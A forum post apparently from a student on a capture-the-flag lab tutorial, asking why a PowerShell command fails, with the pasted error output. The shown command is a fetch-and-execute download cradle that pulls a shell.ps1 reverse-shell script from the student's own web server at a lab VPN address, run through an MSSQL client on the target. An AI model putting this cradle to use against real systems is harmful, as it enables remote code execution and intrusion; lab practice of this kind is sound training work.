"Starting Point" Tutorial Issue (Exception calling)

Hey Guys, im stuck at the Problem with the Shell Script.

i started python3 -m http.server 80, view my vpn ip > changed in the line, i have no ufw installed and added the shell.ps1 in the same folder where i started mssqlclient.py but still error:
ew-ObjectNet.WebClient : The term ‘New-ObjectNet.WebClient’ is not recognized as the name of a cmdlet, function,

script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is

correct and try again.

At line:1 char:6

  • IEX (New-ObjectNet.WebClient).DownloadString("http://10.10.14.83/shel

  •  ~~~~~~~~~~~~~~~~~~~~~~~                                                     
    
    • CategoryInfo : ObjectNotFound: (New-ObjectNet.WebClient:String) , CommandNotFoundException

    • FullyQualifiedErrorId : CommandNotFoundException